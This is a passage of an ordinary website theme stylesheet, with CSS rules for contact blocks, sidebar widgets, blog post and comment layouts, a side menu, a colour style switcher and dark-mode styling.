40px; background: #d71a19; border-radius: 7px; -webkit-box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.05); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .contact-section .info-block .inner-box:hover { background:#1c1e22; } .contact-section .info-block .inner-box h5 { font-size: 24px; text-transform: uppercase; color: var(--thm-black); font-weight: 400; letter-spacing: 1px; line-height: 1.1em; margin: 0; } .contact-section .info-block .inner-box h5 a { color: var(--thm-black); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .contact-section .info-block .inner-box:hover h5, .contact-section .info-block .inner-box:hover h5 a { color: #ffffff; } .contact-section .info-block .inner-box .text { position: relative; display: block; color:black; padding: 30px 0px 0px; z-index: 1; } .contact-section .info-block .inner-box .text a { position: relative; color: var(--thm-text); } .contact-section .info-block .inner-box:hover .text, .contact-section .info-block .inner-box:hover .text a { color: #999b9f; } .contact-section .info-block .inner-box:hover h5 a:hover, .contact-section .info-block .inner-box:hover .text a:hover { text-decoration: underline; color: #ffffff; } .contact-infos { padding-top: 70px; padding-bottom: 70px; background-color: var(--thm-black); } .contact-infos .row { --bs-gutter-y: 20px; } @media (min-width: 992px) { .contact-infos { padding-top: 110px; padding-bottom: 110px; } } @media (min-width: 1200px) { .contact-infos [class*="col-"]:not(:first-child) p { padding-left: 55px; } } .contact-infos p { margin: 0; font-size: 16px; line-height: 36px; color: #a4a4a4; font-weight: 400; font-family: var(--thm-font); } .contact-infos p br { display: none; } @media (min-width: 768px) { .contact-infos p br { display: inherit; } } .contact-infos p a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .contact-infos p a:hover { color: #fff; } /*** ==================================================================== 49. Sidebar Page Container ==================================================================== ***/ .sidebar-page-container { position: relative; padding: 120px 0px 90px; } .sidebar-page-container .content-side { position: relative; margin-bottom: 30px; z-index: 1; } /* Sidebar */ .sidebar-page-container .sidebar-side { position: relative; margin-bottom: 30px; } .sidebar-page-container .sidebar { position: relative; } .sidebar .sidebar-widget { position: relative; display: block; margin-bottom: 30px; } .sidebar .sidebar-widget:last-child { margin-bottom: 0px; } .sidebar .sidebar-widget .widget-inner { position: relative; display: block; padding: 45px 45px; background: #f4f5f8; border-radius: 7px; } .sidebar-title { position: relative; margin-bottom: 20px; } .sidebar-title h4 { position: relative; display: inline-block; font-size: 24px; line-height: 1.1em; color: var(--thm-black); font-weight: 400; text-transform: uppercase; letter-spacing: 0.01em; margin-bottom: 0px; } .sidebar .services ul { position: relative; } .sidebar .services ul li { position: relative; line-height: 48px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); margin-bottom: 5px; } .sidebar .services ul li:before { content: ""; position: absolute; left: -20px; top: 0; right: -20px; bottom: 0; background: #ffffff; border-radius: 7px; opacity: 0; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .sidebar .services ul li:after { content: ""; position: absolute; left: -20px; top: 50%; margin-top: -12px; height: 24px; border-left: 2px solid var(--thm-base); opacity: 0; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .sidebar .services ul li:last-child { margin-bottom: 0; } .sidebar .services ul li a { position: relative; display: block; line-height: 48px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); font-family: var(--thm-b-font); font-weight: 400; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; z-index: 1; } .sidebar .services ul li:hover a, .sidebar .services ul li.active a { color: var(--thm-black); } .sidebar .services ul li:hover:before, .sidebar .services ul li.active:before, .sidebar .services ul li:hover:after, .sidebar .services ul li.active:after { opacity: 1; } .sidebar .services ul li a:after { position: absolute; right: 0; top: -1px; font-family: "Flaticon"; content: "\f15f"; opacity: 1; font-size: 10px; line-height: 48px; font-weight: 700; z-index: 1; } .sidebar .services ul li a:hover:before, .sidebar .services ul li.active a:before { opacity: 1; -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transition: all 0.3s ease 0.1s; transition: all 0.3s ease 0.1s; } .sidebar .call-up .widget-inner { background: var(--thm-black); color: #999b9f; } .sidebar .call-up .sidebar-title h4 { color: #ffffff; } .sidebar .call-up .text { position: relative; display: block; } .sidebar .call-up .phone { position: relative; margin-top: 20px; color: #ffffff; font-size: 30px; line-height: 40px; text-transform: uppercase; letter-spacing: 1px; font-family: var(--thm-font); font-weight: 300; } .sidebar .call-up .phone .icon { position: relative; display: inline-block; vertical-align: middle; color: var(--thm-base); font-size: 20px; padding-right: 15px; } .sidebar .call-up .phone a { position: relative; color: #ffffff; } .sidebar .call-up .phone a:hover { text-decoration: underline; } .sidebar .search-box .widget-inner { padding: 0; background: none; } .sidebar .search-box .form-group { position: relative; margin: 0px; } .sidebar .search-box .form-group input[type="text"], .sidebar .search-box .form-group input[type="search"] { position: relative; line-height: 40px; padding: 19px 80px 19px 35px; background: var(--thm-base); color: var(--thm-black); display: block; font-size: 14px; width: 100%; height: 80px; border: 1px solid var(--thm-base); font-family: var(--thm-b-font); border-radius: 7px; transition: all 500ms ease; -moz-transition: all 500ms ease; -webkit-transition: all 500ms ease; -ms-transition: all 500ms ease; -o-transition: all 500ms ease; } .sidebar .search-box .form-group ::-webkit-input-placeholder { opacity: 1; color: inherit; } .sidebar .search-box .form-group :-ms-input-placeholder { opacity: 1; color: inherit; } .sidebar .search-box .form-group ::-ms-input-placeholder { opacity: 1; color: inherit; } .sidebar .search-box .form-group ::placeholder { opacity: 1; color: inherit; } .sidebar .search-box .form-group input:focus { border-color: var(--thm-black); } .sidebar .search-box .form-group button { position: absolute; right: 20px; top: 0px; height: 80px; width: 60px; line-height: 80px; display: block; font-size: 24px; color: var(--thm-black); background: none; font-weight: normal; } .sidebar .search-box .form-group input:focus + button, .sidebar .search-box .form-group button:hover { color: #181b1f; } .sidebar .recent-posts .post { position: relative; font-size: 20px; color: var(--thm-text); padding: 7px 0px 0px 85px; min-height: 62px; margin-bottom: 30px; } .sidebar .recent-posts .post:last-child { margin-bottom: 0px; } .sidebar .recent-posts .post-thumb { position: absolute; left: 0px; top: 0px; width: 62px; height: 62px; border-radius: 50%; } .sidebar .recent-posts .post-thumb img { position: relative; display: block; width: 100%; border-radius: 50%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .sidebar .recent-posts .post:hover .post-thumb img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .sidebar .recent-posts .text { font-size: 20px; line-height: 1.3em; color: var(--thm-text); font-weight: 300; text-transform: capitalize; margin: 0; letter-spacing: 0.07em; max-width: 170px; } .sidebar .recent-posts .text a { color: var(--thm-text); } .sidebar .recent-posts .text a:hover { color: var(--thm-black); } .sidebar .popular-tags .tags-list { padding-right: 20px; } .sidebar .popular-tags .tags-list li, .sidebar .popular-tags .tags-list a { position: relative; color: var(--thm-text); display: inline-block; } .sidebar .popular-tags .tags-list a { position: relative; display: inline-block; line-height: 1.45em; text-align: center; color: var(--thm-text); text-transform: capitalize; transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; -moz-transition: all 300ms ease; } .sidebar .popular-tags .tags-list a:hover { color: var(--thm-black); } .sidebar .archives ul { position: relative; } .sidebar .archives ul li { position: relative; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); margin-bottom: 15px; } .sidebar .archives ul li:last-child { margin-bottom: 0; } .sidebar .archives ul li a { position: relative; display: block; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); font-weight: 400; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; z-index: 1; } .sidebar .archives ul li:hover a, .sidebar .archives ul li.active a { color: var(--thm-black); font-weight: 400; } .sidebar .archives ul li a:after { position: absolute; right: 0; top: -1px; font-family: "Flaticon"; content: "\f15f"; opacity: 1; font-size: 10px; line-height: 30px; font-weight: 700; z-index: 1; } .sidebar .recent-comments .comment { position: relative; font-size: 20px; color: var(--thm-text); padding: 0px 0px 0px 70px; min-height: 48px; margin-bottom: 30px; } .sidebar .recent-comments .comment:last-child { margin-bottom: 0px; } .sidebar .recent-comments .comment .icon { position: absolute; left: 0px; top: 0px; width: 48px; height: 48px; font-size: 18px; line-height: 48px; background-color: var(--thm-black); color: #ffffff; text-align: center; border-radius: 50%; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .sidebar .recent-comments .comment:hover .icon { background: var(--thm-base); } .sidebar .recent-comments .comment .text { font-size: 20px; line-height: 24px; color: var(--thm-text); font-weight: 300; letter-spacing: 0.07em; text-transform: uppercase; margin: 0; } .sidebar .recent-comments .comment .text a { color: var(--thm-text); } .sidebar .recent-comments .comment .text a:hover { color: var(--thm-black); } /* Post Details */ .post-details { position: relative; margin-bottom: 30px; } .post-details .inner-box { position: relative; display: block; } .post-details .image-box { position: relative; display: block; overflow: hidden; } .post-details .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 500ms ease; transition: all 500ms ease; border-radius: 7px; } .post-details .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .post-details .lower-box { position: relative; padding: 30px 0px 0px; } .post-details .post-meta { position: relative; display: block; } .post-details .post-meta ul { position: relative; display: block; } .post-details .post-meta ul li { position: relative; display: inline-block; vertical-align: middle; margin: 0 20px 5px 0px; font-size: 16px; letter-spacing: 0.07em; text-transform: uppercase; } .post-details .post-meta ul li .far, .post-details .post-meta ul li .fa { position: relative; top: -2px; color: var(--thm-base); font-size: 14px; padding-right: 3px; vertical-align: middle; } .post-details .lower-box h4 { text-transform: uppercase; font-size: 40px; line-height: 1.1em; color: var(--thm-black); margin-bottom: 30px; } .post-details .lower-box h4 a { color: var(--thm-black); } .post-details .lower-box h4 a:hover { color: var(--thm-base); text-decoration: underline; } .post-details .lower-box .text { position: relative; display: block; } .post-details .lower-box .text p { position: relative; margin-bottom: 35px; } .post-details .info-row { position: relative; display: block; padding: 28px 0px 0px; border-top: 1px solid #e9ebee; font-size: 16px; line-height: 30px; } .post-details .info-row strong { font-weight: 300; letter-spacing: 0.05em; font-size: 24px; text-transform: uppercase; font-weight: 400; font-family: var(--thm-font); color: var(--thm-black); } .post-details .info-row a { color: var(--thm-text); } .post-details .info-row a:hover { text-decoration: underline; } .post-details .info-row .tags-info { position: relative; float: left; } .post-details .info-row .cat-info { position: relative; float: right; } .sidebar-page-container .post-control-two { position: relative; margin-bottom: 20px; } .sidebar-page-container .post-control-two .control-col { position: relative; margin-bottom: 30px; } .sidebar-page-container .post-control-two .control-inner { position: relative; display: block; padding: 55px 50px; background: #f4f5f8; height: 100%; min-height: 100%; border-radius: 7px; transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .sidebar-page-container .post-control-two .control-inner:hover { background: var(--thm-base); } .sidebar-page-container .post-control-two .over-link { position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: 2; } .sidebar-page-container .post-control-two .control-inner h4 { position: relative; font-weight: 400; text-transform: uppercase; font-size: 30px; line-height: 1.1em; color: var(--thm-black); margin-bottom: 0px; } .sidebar-page-container .post-control-two .control-inner h4 a { color: var(--thm-black); } /*** ==================================================================== 50. Comment Area ==================================================================== ***/ .comments-title { position: relative; margin-bottom: 40px; } .comments-title h3 { font-size: 36px; font-weight: 400; text-transform: uppercase; letter-spacing: 0.02em; color: var(--thm-black); margin: 0; } .comments-area { position: relative; margin-bottom: 70px; } .comments-area .comment-box { position: relative; margin-bottom: 60px; padding-bottom: 60px; border-bottom: 1px solid #e9ebee; } .comments-area .comment { position: relative; min-height: 90px; padding-left: 130px; } .comments-area .comment-box .author-thumb { position: absolute; left: 0px; top: 0px; width: 90px; height: 90px; border-radius: 50%; margin-bottom: 20px; overflow: hidden; } .comments-area .comment-box .author-thumb img { width: 90px; height: 90px; display: block; border-radius: 50%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); } .comments-area .comment-box .info { position: relative; margin-bottom: 25px; line-height: 24px; } .comments-area .comment-box .info .name { position: relative; display: block; font-size: 24px; line-height: 30px; font-weight: 400; letter-spacing: 0.02em; color: var(--thm-black); text-transform: uppercase; font-family: var(--thm-font); } .comments-area .comment-box .info .date { position: relative; display: inline-block; color: var(--thm-base); } .comments-area .comment-box .text { position: relative; display: block; color: var(--thm-text); margin-bottom: 30px; } .comments-area .comment-box .reply-btn { position: relative; display: block; } .comments-area .comment-box .theme-btn .btn-title { padding: 6px 30px 4px; line-height: 30px; } /*** ==================================================================== 51. Leave Comments Form ==================================================================== ***/ .leave-comments { position: relative; } .leave-comments form .row { margin: 0 -10px; } .leave-comments form .form-group { padding: 0px 10px; margin-bottom: 20px; } .leave-comments form .form-group:last-child { margin-bottom: 0; } /*** ==================================================================== 52. Service Details ==================================================================== ***/ .service-details { position: relative; } .service-details .image { position: relative; display: block; overflow: hidden; } .service-details .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .service-details .image:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .service-details .main-image { margin-bottom: 35px; } .service-details h3 { font-size: 50px; letter-spacing: 1px; text-transform: uppercase; font-weight: 400; line-height: 1.1em; margin-bottom: 25px; } .service-details h4 { font-size: 36px; letter-spacing: 1px; text-transform: uppercase; font-weight: 400; line-height: 1.1em; margin-bottom: 20px; } .service-details .text-content { position: relative; display: block; } .service-details .text-content p { margin-bottom: 35px; } .service-details .text-content .last { margin-bottom: 0px; } .service-details .featured { position: relative; padding-top: 15px; padding-bottom: 15px; } .service-details .featured .image-col { margin-bottom: 30px; } .service-details .text-content ul { margin-bottom: 20px; } .service-details .text-content ul li { position: relative; padding-left: 30px; margin-bottom: 10px; } .service-details .text-content ul li:before { content: "\f131"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 53. Service Details ==================================================================== ***/ .project-single { position: relative; padding: 120px 0px 80px; } .project-single .image-col { position: relative; margin-bottom: 10px; } .project-single .image-col .inner { position: relative; display: block; } .project-single .image-box { position: relative; display: block; border-radius: 7px; overflow: hidden; margin-bottom: 30px; } .project-single.style-two .image-box { margin-bottom: 35px; } .project-single .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .project-single .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .project-single h5 { font-size: 30px; letter-spacing: 0.005em; text-transform: uppercase; font-weight: 400; line-height: 1.1em; margin-bottom: 20px; } .project-single.style-two h5 { font-size: 36px; } .project-single .text-content { position: relative; display: block; } .project-single .text-content p { margin-bottom: 25px; } .project-single .text-content .last { margin-bottom: 0px; } .project-single .text-content .info { position: relative; } .project-single .text-content .info li { position: relative; line-height: 26px; margin-bottom: 30px; } .project-single .text-content .info li strong { font-size: 24px; letter-spacing: 0.01em; text-transform: uppercase; font-weight: 400; line-height: 1em; font-family: var(--thm-font); color: var(--thm-black); } .post-control { position: relative; } .post-control .inner { position: relative; display: block; padding: 50px 0px; border-top: 1px solid #e9ebee; border-bottom: 1px solid #e9ebee; } .post-control .control { position: relative; float: left; line-height: 30px; font-size: 24px; color: var(--thm-black); letter-spacing: 0.05em; text-transform: uppercase; font-weight: 400; font-family: var(--thm-font); } .post-control .control.next { float: right; } .post-control .control a { display: block; line-height: 30px; font-size: 24px; color: var(--thm-black); font-weight: 400; } .post-control .control a:hover { color: var(--thm-base); } .post-control .control .fa { position: relative; vertical-align: top; line-height: 30px; font-size: 18px; } /*-------------------------------------------------------------- Side Menu --------------------------------------------------------------*/ /*-------------------------------------------------------------- # Sidemenu --------------------------------------------------------------*/ .side-menu__block { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 99999; -webkit-transform: scale(0, 1); transform: scale(0, 1); -webkit-transform-origin: left center; transform-origin: left center; -webkit-transition: -webkit-transform 0.7s ease; transition: -webkit-transform 0.7s ease; transition: transform 0.7s ease; transition: transform 0.7s ease, -webkit-transform 0.7s ease; } .side-menu__block.active { -webkit-transform: scale(1, 1); transform: scale(1, 1); } .side-menu__block-overlay { width: 100%; height: 100%; background-color: var(--thm-black); position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 999; opacity: 0.7; } .side-menu__block-overlay .cursor-follower { background-color: rgba(8, 39, 64, 0.3); } .side-menu__block-inner { position: absolute; left: 0; top: 0; width: 100%; max-width: 520px; height: 100%; overflow-y: auto; background-color: #eceeef; z-index: 999999; padding: 40px 0; padding-top: 20px; } @media (max-width: 575px) { .side-menu__block-inner { max-width: 480px; } } @media (max-width: 480px) { .side-menu__block-inner { max-width: 400px; } } @media (max-width: 375px) { .side-menu__block-inner { max-width: 300px; } } .side-menu__block-inner .mCustomScrollBox { width: 100%; } .side-menu__top { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; padding-left: 100px; padding-right: 40px; } .mobile-nav__container { padding-left: 100px; padding-right: 100px; padding-top: 50px; } .mobile-nav__container ul { margin: 0; padding: 0; list-style: none; } .mobile-nav__container li.dropdown ul { display: none; padding: 10px 0px 0px; margin-bottom: 20px; padding-left: 0.5em; } .mobile-nav__container li.dropdown ul li { margin-bottom: 10px; } .mobile-nav__container li.dropdown { position: relative; } .mobile-nav__container li.dropdown > a { position: relative; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; padding-right: 25px; vertical-align: middle; } .mobile-nav__container li > a > span { background-color: var(--thm-base); color: #fff; font-size: 13px; text-transform: uppercase; border-radius: 5px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; width: 40px; top: -3px; position: relative; margin-left: 5px; } .mobile-nav__container li.dropdown .dropdown-btn { position: absolute; top: 0; right: 0; line-height: 22px; width: 22px; height: 22px; display: block; text-align: center; border: none; outline: none; background-color: transparent; color: #9ca3a9; font-size: 14px; -webkit-transform: rotate(90deg); transform: rotate(90deg); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .mobile-nav__container li.dropdown .dropdown-btn.open { -webkit-transform: rotate(-90deg); transform: rotate(-90deg); color: var(--thm-black); } .mobile-nav__container li + li { margin-top: 10px; } .mobile-nav__container li a { text-transform: uppercase; color: #9ca3a9; font-size: 20px; letter-spacing: 1px; line-height: 24px; font-weight: 500; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-transition: all 500ms ease; transition: all 500ms ease; font-family: "Teko", sans-serif; position: relative; } .mobile-nav__container li a:hover { color: var(--thm-black); } .mobile-nav__container li.current-menu-item > a, .mobile-nav__container li.current-menu-item .dropdown-btn, .mobile-nav__container li.current .dropdown-btn, .mobile-nav__container li.current > a { color: var(--thm-black); } .side-menu__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 80px; margin-bottom: 40px; } .side-menu__social a { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; width: 57px; height: 57px; background-color: #fff; color: #9ca3a9; font-size: 16px; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .side-menu__social a + a { margin-left: 10px; } .side-menu__social a:hover { background-color: #ffaa16; color: var(--thm-black); } .side-menu__content { padding-left: 100px; padding-right: 100px; } .side-menu__content p { margin: 0; font-family: var(--thm-b-font); color: #9ca3a9; } .side-menu__content p + p { margin-top: 30px; } .side-menu__content p a { color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .side-menu__content p a:hover { color: #ffaa16; text-decoration: underline; } .side-menu__sep { width: calc(100% - 200px); margin-left: auto; margin-right: auto; height: 1px; background-color: #fff; margin-top: 70px; margin-bottom: 70px; } .side-menu__text p { font-size: 20px; line-height: 30px; font-weight: 400; letter-spacing: 0.05em; color: #9ca3a9; margin: 0; margin-bottom: 25px; } .side-menu__text a { font-size: 20px; color: #ff0143; line-height: 30px; font-weight: 400; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .side-menu__text a:hover { color: var(--thm-base); } .side-menu__block__copy { text-transform: uppercase; font-size: 16px; color: #9ca3a9; font-weight: 400; letter-spacing: 0.2em; } @media (max-width: 575px) { .side-menu__top, .side-menu__content, .mobile-nav__container { padding-left: 50px; padding-right: 50px; } .side-menu__sep { margin-top: 40px; margin-bottom: 40px; width: calc(100% - 100px); } } @media (max-width: 480px) { .side-menu__top, .side-menu__content, .mobile-nav__container { padding-left: 25px; padding-right: 25px; } .side-menu__sep { width: calc(100% - 50px); } .side-menu__social { margin-top: 40px; } .side-menu__social a { width: 45px; height: 45px; } } /* style switcher */ .style-switcher { font-family: "Teko", sans-serif; position: fixed; top: 100px; left: 0; z-index: 99999; background-color: #fff; width: 200px; text-align: center; -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); border-top-right-radius: 10px; border-bottom-right-radius: 10px; padding-top: 25px; padding-bottom: 30px; padding-left: 15px; padding-right: 15px; -webkit-transform: translateX(-100%); transform: translateX(-100%); -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .style-switcher.active { -webkit-transform: translateX(0%); transform: translateX(0%); } .style-switcher h3 { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 30px; line-height: 1; font-family: "Teko", sans-serif; margin-bottom: 20px; } .style-switcher .layout-feature, .style-switcher .language-feature { display: -ms-grid; display: grid; grid-gap: 10px; -ms-grid-columns: 1fr 1fr; grid-template-columns: 1fr 1fr; margin-top: 30px; } .style-switcher .layout-feature button, .style-switcher .layout-feature a, .style-switcher .language-feature button { border: none; outline: none; font-family: "Teko", sans-serif; font-size: 16px; text-transform: uppercase; background-color: var(--thm-black); color: #fff; border-radius: 5px; } .style-switcher .layout-feature a:last-child, .style-switcher .layout-feature button:last-child, .style-switcher .language-feature button.rtl-switcher { background-color: var(--thm-base); color: #fff; } #switcher-toggler { position: absolute; top: 20px; left: 100%; font-size: 22px; color: #fff; width: 40px; height: 40px; background-color: var(--thm-base); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; border-top-right-radius: 10px; border-bottom-right-radius: 10px; -webkit-transition: 500ms; transition: 500ms; } #switcher-toggler:hover { color: #fff; background-color: var(--thm-black); } #styleOptions { display: -ms-grid; display: grid; grid-gap: 20px; -ms-grid-columns: 1fr 1fr 1fr; grid-template-columns: 1fr 1fr 1fr; } #styleOptions li { width: 100%; height: 44px; border-radius: 50%; overflow: hidden; } #styleOptions li a { display: block; width: 100%; height: 100%; } #styleOptions li a.color-default { background-color: #ffaa17; } #styleOptions li a.color-2 { background-color: #70f28b; } #styleOptions li a.color-3 { background-color: #83dcfa; } #styleOptions li a.color-4 { background-color: #ff6c6c; } #styleOptions li a.color-5 { background-color: #73a5ff; } #styleOptions li a.color-6 { background-color: #fe9759; } /* lang bar */ .skiptranslate { display: none !important; } /* parallax block */ .parallax-block { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; min-height: 100vh; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; padding-top: 60px; padding-bottom: 60px; } .parallax-block .jarallax-img { -webkit-filter: grayscale(100%); filter: grayscale(100%); } @media (max-height: 450px) { .parallax-block { padding-top: 120px; padding-bottom: 120px; } } .parallax-block__content h3 { margin: 0; text-transform: uppercase; font-weight: 600; font-size: 100px; max-width: 537px; line-height: 1; margin-bottom: 25px; } .parallax-block .auto-container { width: 100%; } @media (min-width: 1200px) { .parallax-block .auto-container { max-width: 1200px; } } /* dark mode css */ .body-dark, .body-dark .page-wrapper.boxed-wrapper { background-color: #1c1e22; } /* about section dark */ .body-dark .why-us-section, .body-dark .services-section-two, .body-dark .btn-style-two, .body-dark .testi-block .inner, .body-dark .error-section, .body-dark .default-form .form-group input[type="text"], .body-dark .default-form .form-group input[type="email"], .body-dark .default-form .form-group input[type="password"], .body-dark .default-form .form-group input[type="tel"], .body-dark .default-form .form-group input[type="url"], .body-dark .default-form .form-group input[type="file"], .body-dark .default-form .form-group input[type="number"], .body-dark .default-form .form-group textarea, .body-dark .default-form .form-group select, .body-dark .get-quote-two .form-box form .form-group input, .body-dark .get-quote-two .form-box form .form-group select, .body-dark .get-quote-two .form-box form .form-group textarea, .body-dark .get-quote-two .form-group .ui-selectmenu-button.ui-button, .body-dark .get-quote-section .default-form .theme-btn:hover .btn-curve, .body-dark .form-group .ui-selectmenu-button.ui-button, .body-dark .discover-section, .body-dark .services-section-three, .body-dark .features-section-two, .body-dark .get-quote-three, .body-dark .sponsors-section-two, .body-dark .contact-section, .body-dark .search-popup__form input, .body-dark .about-section { background-color: #1c1e22; } .body-dark .default-form .form-group input[type="text"], .body-dark .default-form .form-group input[type="email"], .body-dark .default-form .form-group input[type="password"], .body-dark .default-form .form-group input[type="tel"], .body-dark .default-form .form-group input[type="url"], .body-dark .default-form .form-group input[type="file"], .body-dark .default-form .form-group input[type="number"], .body-dark .default-form .form-group textarea, .body-dark .form-group .ui-selectmenu-button.ui-button, .body-dark .get-quote-two .form-box form .form-group input, .body-dark .get-quote-two .form-box form .form-group select, .body-dark .get-quote-two .form-box form .form-group textarea, .body-dark .get-quote-two .form-group .ui-selectmenu-button.ui-button, .body-dark .default-form .form-group select { border-color: #1c1e22; } .body-dark .contact-section .default-form .form-group input[type="text"], .body-dark .contact-section .default-form .form-group input[type="email"], .body-dark .contact-section .default-form .form-group input[type="password"], .body-dark .contact-section .default-form .form-group input[type="tel"], .body-dark .contact-section .default-form .form-group input[type="url"], .body-dark .contact-section .default-form .form-group input[type="file"], .body-dark .contact-section .default-form .form-group input[type="number"], .body-dark .contact-section .default-form .form-group textarea, .body-dark .get-quote-three .default-form .form-group input[type="text"], .body-dark .get-quote-three .default-form .form-group input[type="email"], .body-dark .get-quote-three .default-form .form-group input[type="password"], .body-dark .get-quote-three .default-form .form-group input[type="tel"], .body-dark .get-quote-three .default-form .form-group input[type="url"], .body-dark .get-quote-three .default-form .form-group input[type="file"], .body-dark .get-quote-three .default-form .form-group input[type="number"], .body-dark .comment-form.default-form .form-group input[type="text"], .body-dark .comment-form.default-form .form-group input[type="email"], .body-dark .comment-form.default-form .form-group input[type="password"], .body-dark .comment-form.default-form .form-group input[type="tel"], .body-dark .comment-form.default-form .form-group input[type="url"], .body-dark .comment-form.default-form .form-group input[type="file"], .body-dark .comment-form.default-form .form-group input[type="number"], .body-dark .comment-form.default-form .form-group textarea, .body-dark .error-form .form-group input[type="text"], .body-dark .error-form .form-group input[type="search"], .body-dark .error-form .form-group input[type="email"], .body-dark .get-quote-three .default-form .form-group textarea { background-color: #222429; border-color: #222429; } .body-dark .why-us-section .feature:hover .inner-box::before, .body-dark .service-block-two .inner-box, .body-dark .work-tabs .tab-buttons, .body-dark .get-quote-section .form-box, .body-dark .sidebar .sidebar-widget .widget-inner, .body-dark .news-block-three .inner-box, .body-dark .contact-section .info-block .inner-box, .body-dark .about-section::before { background-color: #222429; } .body-dark .project-tab .product-tab-btns .p-tab-btn.active-btn, .body-dark .sec-title h2, .body-dark .get-quote-section .counter .count-box, .body-dark .get-quote-section .featured-block h4, .body-dark .testi-block .info .name, .body-dark .we-do-section .progress-box .bar-title, .body-dark .accordion-box .block .acc-btn, .body-dark .we-do-section .sec-title h2, .body-dark .gallery-section .sec-title h2, .body-dark .news-section .sec-title h2, .body-dark .trusted-section .sec-title h2, .body-dark .trusted-section .feature h5, .body-dark .gallery-section .mixitup-gallery .filters .filter.active, .body-dark .live-section .sec-title h2, .body-dark .agency-section .sec-title h2, .body-dark .service-block-two .inner-box h5, .body-dark .team-section .sec-title h2, .body-dark .search-popup__form input, .body-dark .why-us-section .feature h6, .body-dark .featured-section .feature h6, .body-dark .get-quote-section .form-box h4, .body-dark .features-section-two .feature h5, .body-dark .work-tabs .tab-buttons .tab-btn, .body-dark .counter-block h4, .body-dark .contact-section .info-block .inner-box h5, .body-dark .counter-block .graph-outer .count-box, .body-dark .sidebar-title h4, .body-dark .call-to-section-two h2, .body-dark .error-section h2, .body-dark .service-details h3, .body-dark 